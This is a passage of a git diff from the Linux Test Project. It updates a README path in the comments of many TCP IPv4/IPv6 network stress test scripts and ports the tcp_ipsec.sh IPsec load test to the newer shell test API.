+++ b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport08
@@ -32,7 +32,7 @@
 #     - IPsec is not used
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport09 b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport09
index 8578a23..9173699 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport09
+++ b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport09
@@ -32,7 +32,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport10 b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport10
index 8e7be1e..e7ea8b5 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport10
+++ b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport10
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport11 b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport11
index f14d54f..c9ce4e0 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport11
+++ b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport11
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport12 b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport12
index 3c499fa..9d8278b 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport12
+++ b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport12
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport13 b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport13
index ffdd02a..706c2d9 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport13
+++ b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport13
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport14 b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport14
index b8aa77f..2a4d986 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport14
+++ b/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport14
@@ -32,7 +32,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport01 b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport01
index aa0def2..2a5a832 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport01
+++ b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport01
@@ -32,7 +32,7 @@
 #     - IPsec is not used
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport02 b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport02
index 9b8f82c..fb8cbdd 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport02
+++ b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport02
@@ -32,7 +32,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport03 b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport03
index 61c03e2..cc983d0 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport03
+++ b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport03
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport04 b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport04
index 17e4456..a75c7be 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport04
+++ b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport04
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport05 b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport05
index 811367c..d70c48a 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport05
+++ b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport05
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport06 b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport06
index 83dfc71..9aa9d21 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport06
+++ b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport06
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport07 b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport07
index 73e7056..4cf7abd 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport07
+++ b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport07
@@ -32,7 +32,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport08 b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport08
index 23e4352..9422c39 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport08
+++ b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport08
@@ -32,7 +32,7 @@
 #     - IPsec is not used
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport09 b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport09
index 97c6164..b5e0d35 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport09
+++ b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport09
@@ -32,7 +32,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport10 b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport10
index 824da91..a8a874a 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport10
+++ b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport10
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport11 b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport11
index d20e60e..a43aaf8 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport11
+++ b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport11
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport12 b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport12
index d1b2e92..8631692 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport12
+++ b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport12
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport13 b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport13
index 1220d73..fb3b750 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport13
+++ b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport13
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport14 b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport14
index e5e43d6..6a196de 100644
--- a/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport14
+++ b/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport14
@@ -32,7 +32,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport01 b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport01
index aff2481..7491f28 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport01
+++ b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport01
@@ -34,7 +34,7 @@
 #   *) This script may be read by the other test case
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport02 b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport02
index 9ec6f1a..cd035be 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport02
+++ b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport02
@@ -32,7 +32,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport03 b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport03
index 4613a64..b5acaae 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport03
+++ b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport03
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport04 b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport04
index b259bb1..7299ec3 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport04
+++ b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport04
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport05 b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport05
index e6411b0..3086d35 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport05
+++ b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport05
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport06 b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport06
index 41cb78c..ba99b68 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport06
+++ b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport06
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport07 b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport07
index 6ee0d2b..df87c84 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport07
+++ b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport07
@@ -32,7 +32,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport08 b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport08
index eb79ad1..9b015e2 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport08
+++ b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport08
@@ -32,7 +32,7 @@
 #     - IPsec is not used
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport09 b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport09
index 3b45867..bf33f18 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport09
+++ b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport09
@@ -32,7 +32,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport10 b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport10
index 640acf0..8282987 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport10
+++ b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport10
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport11 b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport11
index 8ad8c5a..b250a85 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport11
+++ b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport11
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport12 b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport12
index 5095cca..39df16f 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport12
+++ b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport12
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport13 b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport13
index 3cb9a03..e5a4ae3 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport13
+++ b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport13
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport14 b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport14
index 33e8a7f..a38df9a 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport14
+++ b/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport14
@@ -32,7 +32,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport01 b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport01
index 31dc0fc..eb7ea32 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport01
+++ b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport01
@@ -32,7 +32,7 @@
 #     - IPsec is not used
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport02 b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport02
index 02aea8e..c87cf59 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport02
+++ b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport02
@@ -32,7 +32,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport03 b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport03
index ac39382..90adb2b 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport03
+++ b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport03
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport04 b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport04
index 1d69f6e..bbdfe93 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport04
+++ b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport04
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport05 b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport05
index 1193798..b050228 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport05
+++ b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport05
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport06 b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport06
index f229a22..56890d2 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport06
+++ b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport06
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport07 b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport07
index 5ec752f..f2f55b1 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport07
+++ b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport07
@@ -32,7 +32,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport08 b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport08
index 2356588..b9f5f12 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport08
+++ b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport08
@@ -32,7 +32,7 @@
 #     - IPsec is not used
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport09 b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport09
index 96a9630..ac1819f 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport09
+++ b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport09
@@ -32,7 +32,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport10 b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport10
index 35e8db9..5e05e60 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport10
+++ b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport10
@@ -32,7 +32,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport11 b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport11
index 3565faa..8b9040d 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport11
+++ b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport11
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport12 b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport12
index b59f296..cae9276 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport12
+++ b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport12
@@ -32,7 +32,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport13 b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport13
index 0224001..6b96abf 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport13
+++ b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport13
@@ -32,7 +32,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport14 b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport14
index cd70711..22d92ae 100644
--- a/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport14
+++ b/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport14
@@ -32,7 +32,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/tcp_ipsec.sh b/testcases/network/stress/tcp/tcp_ipsec.sh
index aeb33d6..d62272d 100755
--- a/testcases/network/stress/tcp/tcp_ipsec.sh
+++ b/testcases/network/stress/tcp/tcp_ipsec.sh
@@ -1,49 +1,21 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
-TCID=tcp_ipsec
-TST_TOTAL=3
 TST_NEEDS_TMPDIR=1
-TST_CLEANUP="tst_ipsec_cleanup"
+TST_TESTFUNC=do_test
+TST_SETUP=tst_ipsec_setup
+TST_CLEANUP=tst_ipsec_cleanup
+. ipsec_lib.sh
 
 max_requests=10
 
-. ipsec_lib.sh
-
-do_setup()
-{
-	# Configure SAD/SPD
-	if [ -n "$IPSEC_MODE" -a -n "$IPSEC_PROTO" ]; then
-		tst_ipsec lhost $(tst_ipaddr) $(tst_ipaddr rhost)
-		tst_ipsec rhost $(tst_ipaddr rhost) $(tst_ipaddr)
-	fi
-}
-
 do_test()
 {
-	for p in $IPSEC_SIZE_ARRAY; do
-		tst_netload -H $(tst_ipaddr rhost) -n $p -N $p \
-			-r $IPSEC_REQUESTS -R $max_requests
-	done
+	tst_netload -H $(tst_ipaddr rhost) -n $2 -N $2 -r $IPSEC_REQUESTS \
+		-R $max_requests
 }
 
-do_setup
-
-do_test
-
-tst_exit
+tst_run
